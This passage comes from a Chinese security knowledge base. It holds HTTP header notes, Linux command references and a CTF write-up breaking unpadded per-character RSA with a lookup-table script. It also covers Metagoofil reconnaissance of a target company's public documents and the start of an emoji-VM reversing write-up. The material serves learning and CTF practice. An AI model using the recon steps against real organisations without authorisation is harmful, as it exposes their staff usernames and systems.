秒之后刷新本页面或访问指定页面",而不是"每隔N秒刷新本页面或访问指定页面"。因此,连续刷新要求每次都发送一个 Refresh 头,而发送 204 状态代码则可以阻止浏览器继续刷新,不管是使用 Refresh 头还是 `<META HTTP-EQUIV="Refresh" ...>`。注意 Refresh 头不属于 HTTP 1.1 正式规范的一部分,而是一个扩展,但 Netscape 和 IE 都支持它。 **Set-Cookie** 设置和页面关联的 Cookie。Servlet 不应使用 `response.setHeader("Set-Cookie", ...)` ,而是应使用 HttpServletResponse 提供的专用方法 addCookie。 **Server** 服务器名字。Servlet 一般不设置这个值,而是由 Web 服务器自己设置。 **WWW-Authenticate** 客户应该在 Authorization 头中提供什么类型的授权信息?在包含 401(Unauthorized)状态行的应答中这个头是必需的。例如,`response.setHeader("WWW-Authenticate", "BASIC realm=\"executives\"")` 。注意 Servlet 一般不进行这方面的处理,而是让 Web 服务器的专门机制来控制受密码保护页面的访问(例如 `.htaccess`)。 --- ## POST 请求数据提交格式 服务端通常是根据请求头(headers)中的 Content-Type 字段来获知请求中的消息主体是用何种方式编码,再对主体进行解析。所以说到 POST 提交数据方案,包含了 Content-Type 和消息主体编码方式两部分。 ``` 快到中午了,张三丰不想去食堂吃饭,于是打电话叫外卖:老板,我要一份[鱼香肉丝],要 12:30 之前给我送过来哦,我在江湖湖公司研发部,叫张三丰。 ``` 这里,你要[鱼香肉丝]相当于 HTTP 报文体,而“12:30之前送过来”,你叫“张三丰”等信息就相当于 HTTP 的请求头。它们是一些附属信息,帮忙你和饭店老板顺利完成这次交易。 **application/x-www-form-urlencoded** 最基本的 form 表单结构,用于传递字符参数的键值对,请求结构如下 ``` POST HTTP/1.1 Host: www.demo.com Cache-Control: no-cache Postman-Token: 81d7b315-d4be-8ee8-1237-04f3976de032 Content-Type: application/x-www-form-urlencoded key=value&testKey=testValue ``` 请求头中的 Content-Type 设置为 application/x-www-form-urlencoded; 提交的的数据,请求 body 中按照 key1=value1&key2=value2 进行编码,key 和 value 都要进行 urlEncode; **multipart/form-data** 这是上传文件时,最常见的数据提交方式,看一下请求结构 ``` POST HTTP/1.1 Host: www.demo.com Cache-Control: no-cache Postman-Token: 679d816d-8757-14fd-57f2-fbc2518dddd9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="key" value ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="testKey" testValue ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="imgFile"; filename="no-file" Content-Type: application/octet-stream <data in here> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` 首先请求头中的 Content-Type 是 multipart/form-data; 并且会随机生成 一个 boundary, 用于区分请求 body 中的各个数据; 每个数据以 --boundary 开始, 紧接着换行,下面是内容描述信息, 接着换2行, 接着是数据; 然后以 --boundary-- 结尾, 最后换行; 文本数据和文件,图片的内容描述是不相同的 文本参数: ``` Content-Disposition: form-data; name="key" Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ``` 文件参数: ``` Content-Disposition: form-data; name="imgFile"; filename="no-file" Content-Type: application/octet-stream Content-Transfer-Encoding: binary ``` --- ## Source & Reference - [HTTP请求行、请求头、请求体详解](https://blog.csdn.net/u010256388/article/details/68491509) - [Content-Disposition](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition)
sec-knowleage
# PCAP 文件修复 ## PCAP文件结构 一般来说,对于 `PCAP` 文件格式考察较少,且通常都能借助于现成的工具如 `pcapfix` 直接修复,这里大致介绍下几个常见的块,详细可以翻看[Here](http://www.tcpdump.org/pcap/pcap.html)。 - Tools - [PcapFix Online](https://f00l.de/hacking/pcapfix.php) - [PcapFix](https://github.com/Rup0rt/pcapfix/tree/devel) 一般文件结构 ```shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Block Type | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Block Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Block Body / / /* variable length, aligned to 32 bits */ / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Block Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` 目前所定义的常见块类型有 1. Section Header Block: it defines the most important characteristics of the capture file. 2. Interface Description Block: it defines the most important characteristics of the interface(s) used for capturing traffic. 3. Packet Block: it contains a single captured packet, or a portion of it. 4. Simple Packet Block: it contains a single captured packet, or a portion of it, with only a minimal set of information about it. 5. Name Resolution Block: it defines the mapping from numeric addresses present in the packet dump and the canonical name counterpart. 6. Capture Statistics Block: it defines how to store some statistical data (e.g. packet dropped, etc) which can be useful to undestand the conditions in which the capture has been made. ## 常见块 ### Section Header BlocK(文件头) 必须存在,意味着文件的开始 ```shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Byte-Order Magic (0x1A2B3C4D) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Major Version(主版本号) | Minor Version(次版本号) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Section Length | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / / / Options (variable) / / / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` ### Interface Description Block(接口描述) 必须存在,描述接口特性 ```shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LinkType | Reserved | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SnapLen(每个数据包最大字节数) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / / / Options (variable) / / / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` ### Packet Block(数据块) ```sh 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Interface ID | Drops Count | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Timestamp (High) 标准的Unix格式 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Timestamp (Low) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Captured Len | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Packet Len | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Packet Data / / /* variable length, aligned to 32 bits */ / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Options (variable) / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` ## 例题 > 题目:第一届“百度杯”信息安全攻防总决赛 线上选拔赛:find the flag > > WP:https://www.cnblogs.com/ECJTUACM-873284962/p/9884447.html 首先我们拿到这样一道流量包的题目,题目名称为 `find the flag` 。这里面给了很多提示信息,要我们去找到 `flag` 。 **第一步,搜索 `flag` 字样** 我们先去搜索看看流量包里面有没有 `flag` 。我们使用 `strings` 命令去找一下流量包, `Windows` 的朋友可以用 `notepad++` 的搜索功能去寻找。 搜索命令如下: ```shell strings findtheflag.cap | grep flag ``` 搜索结果如下: 我们发现搜出了一大堆的东西,我们通过管道去过滤出 `flag` 信息,似乎没有发现我们所需要找的答案。 **第二步,流量包修复** 我们用 `wireshark` 打开这个流量包 我们发现这个流量包出现了异常现象,我们可以修复一下这个流量包。 这里我们用到一个在线工具:http://f00l.de/hacking/pcapfix.php 这个工具可以帮助我们快速地将其流量包修复为 `pcap` 包。 我们对其进行在线修复。 修复完毕后点击 `Get your repaired PCAP-file here.` 即可下载流量包,然后我们用 `wireshark` 打开。 既然还是要找 `flag` ,我们可以先看看这个流量包。 **第三步,追踪TCP流** 我们追踪一下TCP流,看看有没有什么突破? 我们通过追踪 `TCP` 流,可以看到一些版本信息, `cookie` 等等,我们还是发现了一些很有意思的东西。 从 `tcp.stream eq 29` 到 `tcp.stream eq 41` 只显示了 `where is the flag?` 这个字样,难道这是出题人在告诉我们 `flag` 在这里嘛? **第四步,查找分组字节流** 我们追踪到 `tcp.stream eq 29` 的时候,在 `Identification` 信息中看到了 `flag` 中的 `lf` 字样,我们可以继续追踪下一个流,在 `tcp.stream eq 30` 的 `Identification` 信息中看到了 `flag` 中的 `ga` 字样,我们发现将两个包中 `Identification` 信息对应的字段从右至左组合,恰好就是 `flag` !于是我们可以大胆地猜测, `flag` 肯定是藏在这里面。 我们直接通过搜索->字符串搜索->分组字节流->搜索关键字 `flag` 即可,按照同样的方式连接后面相连数据包的 `Identification` 信息对应的字段,即可找到最终的flag! 下面是搜索的截图: 所以最终的 `flag` 为:**flag{aha!_you_found_it!}** ## 参考文献 - http://www.tcpdump.org/pcap/pcap.html - https://zhuanlan.zhihu.com/p/27470338 - https://www.cnblogs.com/ECJTUACM-873284962/p/9884447.html
sec-knowleage
lftp === 优秀的文件客户端程序 ## 补充说明 **lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。 ### 语法 ```shell lftp(选项)(参数) ``` ### 选项 ```shell -f:指定lftp指令要执行的脚本文件; -c:执行指定的命令后退出; --help:显示帮助信息; --version:显示指令的版本号。 ``` ### 参数 站点:要访问的站点的ip地址或者域名。 ### 实例 **登录ftp** ```shell lftp 用户名:密码@ftp地址:传送端口(默认21) ``` 也可以先不带用户名登录,然后在接口界面下用login命令来用指定账号登录,密码不显示。 **查看文件与改变目录** ```shell ls cd 对应ftp目录 ``` **下载** get当然是可以的,还可以: ```shell mget -c *.pdf #把所有的pdf文件以允许断点续传的方式下载。 mirror aaa/ #将aaa目录整个的下载下来,子目录也会自动复制。 pget -c -n 10 file.dat #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。 ``` **上传** 同样的put、mput都是对文件的操作,和下载类似。 ```shell mirror -R 本地目录名 ``` 将本地目录以迭代(包括子目录)的方式反向上传到ftp site。 **模式设置** ```shell set ftp:charset gbk ``` 远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可。 ```shell set file:charset utf8 ``` 本地的charset设定为utf8,如果你是gbk,相应改掉。 ```shell set ftp:passive-mode 1 ``` 使用被动模式登录,有些site要求必须用被动模式或者主动模式才可以登录,这个开关就是设置这个的。0代表不用被动模式。 **书签** 其实命令行也可以有书签,在lftp终端提示符下: ```shell bookmark add ustc ``` 就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接`lftp ustc`就可以自动填好用户名和密码,进入对应的目录了。 ```shell bookmark edit ``` 会调用编辑器手动修改书签。当然,也可以看到,这个书签其实就是个简单的文本文件。密码,用户名都可以看到。 **配置文件** ```shell vim /etc/lftp.conf ``` 一般,我会添加这几行: ```shell set ftp:charset gbk set file:charset utf8 set pget:default-n 5 ``` 这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。
sec-knowleage
lsblk === 列出块设备信息 ## 补充说明 **lsblk命令** 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。 ### 选项 ```shell -a, --all # 显示所有设备。 -b, --bytes # 以bytes方式显示设备大小。 -d, --nodeps # 不显示 slaves 或 holders。 -D, --discard # print discard capabilities。 -e, --exclude <list> # 排除设备 (default: RAM disks)。 -f, --fs # 显示文件系统信息。 -h, --help # 显示帮助信息。 -i, --ascii # use ascii characters only。 -m, --perms # 显示权限信息。 -l, --list # 使用列表格式显示。 -n, --noheadings # 不显示标题。 -o, --output <list> # 输出列。 -P, --pairs # 使用key="value"格式显示。 -r, --raw # 使用原始格式显示。 -t, --topology # 显示拓扑结构信息。 ``` ### 实例 lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令: ```shell lsblk NAME MAJ:MIN rm SIZE RO type mountpoint sda 8:0 0 232.9G 0 disk ├─sda1 8:1 0 46.6G 0 part / ├─sda2 8:2 0 1K 0 part ├─sda5 8:5 0 190M 0 part /boot ├─sda6 8:6 0 3.7G 0 part [SWAP] ├─sda7 8:7 0 93.1G 0 part /data └─sda8 8:8 0 89.2G 0 part /personal sr0 11:0 1 1024M 0 rom ``` 7个栏目名称如下: 1. **NAME** :这是块设备名。 2. **MAJ:MIN** :本栏显示主要和次要设备号。 3. **RM** :本栏显示设备是否可移动设备。注意,在本例中设备sdb和sr0的RM值等于1,这说明他们是可移动设备。 4. **SIZE** :本栏列出设备的容量大小信息。例如298.1G表明该设备大小为298.1GB,而1K表明该设备大小为1KB。 5. **RO** :该项表明设备是否为只读。在本案例中,所有设备的RO值为0,表明他们不是只读的。 6. **TYPE** :本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda和sdb是磁盘,而sr0是只读存储(rom)。 7. **MOUNTPOINT** :本栏指出设备挂载的挂载点。 默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令: ```shell lsblk -a ``` lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息: ```shell lsblk -m ``` 该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现: ```shell lsblk -b /dev/sda 等价于 lsblk --bytes /dev/sda ``` 你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下: ```shell lsblk -nl ``` 要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。 ```shell lsblk -S ``` lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令: ```shell lsblk -s ```
sec-knowleage
# Real baby rsa (crypto, 40p, 505 solved) In the challenge we get [source code](problem.py) and [ciphertext](output). The code is pretty trivial: ```python flag = 'TWCTF{CENSORED}' # Public Parameters N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091 e = 65537 # Encrypt the flag! for char in flag: print(pow(ord(char), e, N)) ``` It's a classic textbook RSA encryption with large unfactorizable modulus and standard exponent, nothing wrong here. The vuln is pretty obvious -> the flag is encrypted character-by-character without using any random padding. If `e` was small (eg. 3) we could just compute integer root to recover the original character. In fact with N of 2038 bits and 7 bit chars, we could manage to do this up until `e` lower than 291. After that the the result starts to wrap around modulus. Here `e` is bigger so we can't do it like that. However, since there is no random padding, each character encrypted looks always the same, a bit like in ECB encryption (with single character as blocks). It's easy to confirm this by looking into the [output file](output). We know the flag prefix is `TWCTF{` so 1st and 4th letters are identical, and in the file we have: `9073209977571176486825453267118351996016396235857623493182258724402523182425555398048461088180575997426276026776186441023571190870577545894667546140441145538176352391499376279774875943812941321565506013356240326235158415041323709138860753984228634160552040417002326854872319407516200542564071756611880349380322282130265915072405694912128104078505106072784722670288292878670301302909960910520529391182927036489958388823511447221117040898358990430312656065571576446469592472217394596577973531530126373565564994195530324540432367900449603179849204693929275999798234441199340509474634967526614647348655247823230784374` for both of them. This means we can create a simple lookup table by encrypting all printable characters, and then decrypt the flag: ```python import codecs def main(): N = 36239973541558932215768154398027510542999295460598793991863043974317503405132258743580804101986195705838099875086956063357178601077684772324064096356684008573295186622116931603804539480260180369510754948354952843990891989516977978839158915835381010468654190434058825525303974958222956513586121683284362090515808508044283236502801777575604829177236616682941566165356433922623572630453807517714014758581695760621278985339321003215237271785789328502527807304614754314937458797885837846005142762002103727753034387997014140695908371141458803486809615038309524628617159265412467046813293232560959236865127539835290549091 e = 65537 lookup_table = {str(pow(i, e, N)): i for i in range(256)} res = "" with codecs.open("output", "r") as input_file: for line in input_file: res += chr(lookup_table[line[:-1]]) print(res) main() ``` And we get `TWCTF{padding_is_important}`
sec-knowleage
--- title: Metagoofil categories: Information Gathering tags: [information gathering,kali linux,recon,enumeration,reporting,metagoofil] date: 2017-04-24 13:01:00 --- 0x00 介绍 ------- Metagoofil是一种搜索提取目标公司公开文档(pdf,doc,xls,ppt,docx,pptx,xlsx)中元数据的信息收集工具。 Metagoofil将在Google中进行搜索,以将文档识别并下载到本地磁盘,然后将使用不同的库(如Hachoir,PdfMiner)提取元数据,通过分析得到结果生成具有用户名,软件版本和服务器或机器名称的报告,有助于渗透测试人员信息收集阶段的工作。 “MetaGooFil”也是信息收集过程中可以利用的优秀软件,由开发The Harvester的团队编写而成,可用来提取元数据(metadata)。元数据经常被定义为是关于数据的数据。在我们创建文档时,例如Word或PowerPoint演示文稿,额外的数据也会被同时创建,并储存在文档里。这些数据通常是对该文档的描述信息,包括文件名、文件大小、作者或创建者的用户名,以及文件保存的位置或路径。这个过程全自动进行,无需用户输入或干预。 攻击者若能读取到这些信息,就能对目标公司的用户名、系统名、文件共享以及其他诸多好东西有独特的见解。MetaGooFil就是这么一个工具,能在互联网上搜索属于目标的文档。一旦有所发现,MetaGooFil就会把这些文档下载下来,并尝试提取有用的元数据。 <!--more--> [主页][1] | [仓库][2] - 作者:Christian Martorella - 证书:GPLv2 0x01 功能 ------- metagoofil - 用于提取公共文档元数据的工具 ``` root@kali:~# metagoofil ****************************************************** * /\/\ ___| |_ __ _ __ _ ___ ___ / _(_) | * * / \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | * * / /\/\ \ __/ || (_| | (_| | (_) | (_) | _| | | * * \/ \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| * * |___/ * * Metagoofil Ver 2.2 * * Christian Martorella * * Edge-Security.com * * cmartorella_at_edge-security.com * ****************************************************** 用法: metagoofil [选项] -d: 目标域名 -t: 下载文件的类型 (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx) -l: 限制搜索结果数量 (默认 200) -h: 分析目录中的文档 (值为"yes"进行本地分析) -n: 限制下载文件数量 -o: 工作目录 (保存下载文件目录) -f: 输出文件 示例: metagoofil.py -d apple.com -t doc,pdf -l 200 -n 50 -o applefiles -f results.html metagoofil.py -h yes -o applefiles -f results.html (本地目录分析) ``` 0x02 示例 ------- 搜索PDF文件(-t pdf),搜索100个结果(-l 100),下载25个文件(-n 25),目标域(-d kali.org)中的文档,将下载保存到目录(-o kalipdf),并将输出保存到文件(-f kalipdf.html): ``` root@kali:~# metagoofil -d kali.org -t pdf -l 100 -n 25 -o kalipdf -f kalipdf.html ****************************************************** * /\/\ ___| |_ __ _ __ _ ___ ___ / _(_) | * * / \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | * * / /\/\ \ __/ || (_| | (_| | (_) | (_) | _| | | * * \/ \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| * * |___/ * * Metagoofil Ver 2.2 * * Christian Martorella * * Edge-Security.com * * cmartorella_at_edge-security.com * ****************************************************** ['pdf'] [-] Starting online search... [-] Searching for pdf files, with a limit of 100 Searching 100 results... Results: 21 files found Starting to download 25 of them: ``` [1]: http://www.edge-security.com/metagoofil.php [2]: http://git.kali.org/gitweb/?p=packages/metagoofil.git;a=summary
sec-knowleage
apropos === 在 whatis 数据库中查找字符串 ## 补充说明 **apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。 如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。 ### 语法 ```shell apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ... ``` ### 选项 ```shell -d, --debug:输出调试信息。 -v, --verbose:输出详细的警告信息。 -r, -- regex:将每个keyword作为正则表达式解释。这是默认行为。每个keyword将匹配手册页和描述。 -w, --wildcard:将每个keyword作为shell样式的通配符解释。 -e, --exact:每个keyword将精确匹配手册页名字和描述。 -a, --and:只显示匹配所有keyword的手册页和描述。默认显示匹配任何keyword的项。 -l, --long:不根据终端宽度缩减输出。 -s section, --section section:只查找指定的手册section。 -m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。 -M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用 $MANPATH 环境变量。这个选项覆盖 $MANPATH 的内容。 -L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括 $LC_MESSAGE 和 $LANG 。使用该选项提供一个locale字符串来临时更改本地化信息。 -C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。 -h, --help:打印帮助信息并退出。 -V, --version:打印版本信息并退出。 ``` ### 返回值 返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。 ### 实例 ```shell [root@localhost ~]# man -k who at.allow [at] (5) - determine who can submit jobs via at or batch at.deny [at] (5) - determine who can submit jobs via at or batch jwhois (1) - client for the whois service jwhois (rpm) - Internet whois/nicname client. Net::LDAP::Extension::whoami (3pm) - LDAP Who am I? Operation w (1) - Show who is logged on and what they are doing who (1p) - display who is on the system who (1) - show who is logged on whoami (1) - print effective userid [root@localhost ~]# apropos who at.allow [at] (5) - determine who can submit jobs via at or batch at.deny [at] (5) - determine who can submit jobs via at or batch jwhois (1) - client for the whois service jwhois (rpm) - Internet whois/nicname client. Net::LDAP::Extension::WhoAmI (3pm) - LDAP Who am I? Operation w (1) - Show who is logged on and what they are doing who (1p) - display who is on the system who (1) - show who is logged on whoami (1) - print effective userid ``` 查找手册页名字和描述中包含emacs和vi的手册页: ```shell apropos -a emacs vi ```
sec-knowleage
# FriendSpaceBookPlusAllAccessRedPremium.com Category: Reversing ## Description > Having snooped around like the expert spy you were never trained to be, you found something that takes your interest: "Cookie/www.FriendSpaceBookPlusAllAccessRedPremium.com" But unbeknownst to you, it was only the 700nm Wavelength herring rather than a delicious cookie that you could have found. It looks exactly like a credential for another system. You find yourself in search of a friendly book to read. Having already spent some time trying to find a way to gain more intelligence... and learn about those fluffy creatures, you (several)-momentarily divert your attention here. It's a place of all the individuals in the world sharing large amounts of data with one another. Strangely enough, all of the inhabitants seem to speak using this weird pictorial language. And there is hot disagreement over what the meaning of an eggplant is. But not much Cauliflower here. They must be very private creatures. SarahH has left open some proprietary tools, surely running this will take you to them. Decipher this language and move forth! A `vm.py` script was attached: ```python import sys # Implements a simple stack-based VM class VM: def __init__(self, rom): self.rom = rom self.accumulator1 = 0 self.accumulator2 = 0 self.instruction_pointer = 1 self.stack = [] def step(self): cur_ins = self.rom[self.instruction_pointer] self.instruction_pointer += 1 fn = VM.OPERATIONS.get(cur_ins, None) if cur_ins[0] == '🖋': return if fn is None: raise RuntimeError("Unknown instruction '{}' at {}".format( repr(cur_ins), self.instruction_pointer - 1)) else: fn(self) def add(self): self.stack.append(self.stack.pop() + self.stack.pop()) def sub(self): a = self.stack.pop() b = self.stack.pop() self.stack.append(b - a) def if_zero(self): if self.stack[-1] == 0: while self.rom[self.instruction_pointer] != '😐': if self.rom[self.instruction_pointer] in ['🏀', '⛰']: break self.step() else: self.find_first_endif() self.instruction_pointer += 1 def if_not_zero(self): if self.stack[-1] != 0: while self.rom[self.instruction_pointer] != '😐': if self.rom[self.instruction_pointer] in ['🏀', '⛰']: break self.step() else: self.find_first_endif() self.instruction_pointer += 1 def find_first_endif(self): while self.rom[self.instruction_pointer] != '😐': self.instruction_pointer += 1 def jump_to(self): marker = self.rom[self.instruction_pointer] if marker[0] != '💰': print('Incorrect symbol : ' + marker[0]) raise SystemExit() marker = '🖋' + marker[1:] self.instruction_pointer = self.rom.index(marker) + 1 def jump_top(self): self.instruction_pointer = self.stack.pop() def exit(self): print('\nDone.') raise SystemExit() def print_top(self): sys.stdout.write(chr(self.stack.pop())) sys.stdout.flush() def push(self): if self.rom[self.instruction_pointer] == '🥇': self.stack.append(self.accumulator1) elif self.rom[self.instruction_pointer] == '🥈': self.stack.append(self.accumulator2) else: raise RuntimeError('Unknown instruction {} at position {}'.format( self.rom[self.instruction_pointer], str(self.instruction_pointer))) self.instruction_pointer += 1 def pop(self): if self.rom[self.instruction_pointer] == '🥇': self.accumulator1 = self.stack.pop() elif self.rom[self.instruction_pointer] == '🥈': self.accumulator2 = self.stack.pop() else: raise RuntimeError('Unknown instruction {} at position {}'.format( self.rom[self.instruction_pointer], str(self.instruction_pointer))) self.instruction_pointer += 1 def pop_out(self): self.stack.pop() def load(self): num = 0 if self.rom[self.instruction_pointer] == '🥇': acc = 1 elif self.rom[self.instruction_pointer] == '🥈': acc = 2 else: raise RuntimeError('Unknown instruction {} at position {}'.format( self.rom[self.instruction_pointer], str(self.instruction_pointer))) self.instruction_pointer += 1 while self.rom[self.instruction_pointer] != '✋': num = num * 10 + (ord(self.rom[self.instruction_pointer][0]) - ord('0')) self.instruction_pointer += 1 if acc == 1: self.accumulator1 = num else: self.accumulator2 = num self.instruction_pointer += 1 def clone(self): self.stack.append(self.stack[-1]) def multiply(self): a = self.stack.pop() b = self.stack.pop() self.stack.append(b * a) def divide(self): a = self.stack.pop() b = self.stack.pop() self.stack.append(b // a) def modulo(self): a = self.stack.pop() b = self.stack.pop() self.stack.append(b % a) def xor(self): a = self.stack.pop() b = self.stack.pop() self.stack.append(b ^ a) OPERATIONS = { '🍡': add, '🤡': clone, '📐': divide, '😲': if_zero, '😄': if_not_zero, '🏀': jump_to, '🚛': load, '📬': modulo, '⭐': multiply, '🍿': pop, '📤': pop_out, '🎤': print_top, '📥': push, '🔪': sub, '🌓': xor, '⛰': jump_top, '⌛': exit } if __name__ == '__main__': if len(sys.argv) != 2: print('Missing program') raise SystemExit() with open(sys.argv[1], 'r') as f: print('Running ....') all_ins = [''] all_ins.extend(f.read().split()) vm = VM(all_ins) while 1: vm.step() ``` A "program" was attached as well. ``` 🚛 🥇 0️⃣ ✋ 📥 🥇 🚛 🥇 1️⃣ 7️⃣ 4️⃣ 8️⃣ 8️⃣ ✋ 📥 🥇 🚛 🥇 1️⃣ 6️⃣ 7️⃣ 5️⃣ 8️⃣ ✋ 📥 🥇 🚛 🥇 1️⃣ 6️⃣ 5️⃣ 9️⃣ 9️⃣ ✋ 📥 🥇 🚛 🥇 1️⃣ 6️⃣ 2️⃣ 8️⃣ 5️⃣ ✋ 📥 🥇 🚛 🥇 1️⃣ 6️⃣ 0️⃣ 9️⃣ 4️⃣ ✋ 📥 🥇 🚛 🥇 1️⃣ 5️⃣ 5️⃣ 0️⃣ 5️⃣ ✋ 📥 🥇 // More ... ``` ## Solution This virtual machine is based on emoji 😲! Let's start from running the program: ```console root@kali:/media/sf_CTFs/google/FriendSpaceBookPlusAllAccessRedPremium.com# python3 vm.py program Running .... http://emoji-t0anaxn ``` It prints the beginning of a URI, character by character, and at some point stops. It seems that each character takes longer to print compared to the previous one. The first thing we'll want to do is write a simple disassembler to translate the emoji into meaningful instructions. We do that using the VM itself as a base, and printing the different commands instead of executing them. ```python import sys class VM: def __init__(self, rom): self.rom = rom self.instruction_pointer = 1 def step(self): cur_ins = self.rom[self.instruction_pointer] self.instruction_pointer += 1 fn = VM.OPERATIONS.get(cur_ins, None) if cur_ins[0] == '🖋': print ("--- label ---") return elif cur_ins == '😐': print ("endif") return elif cur_ins == '✋': print 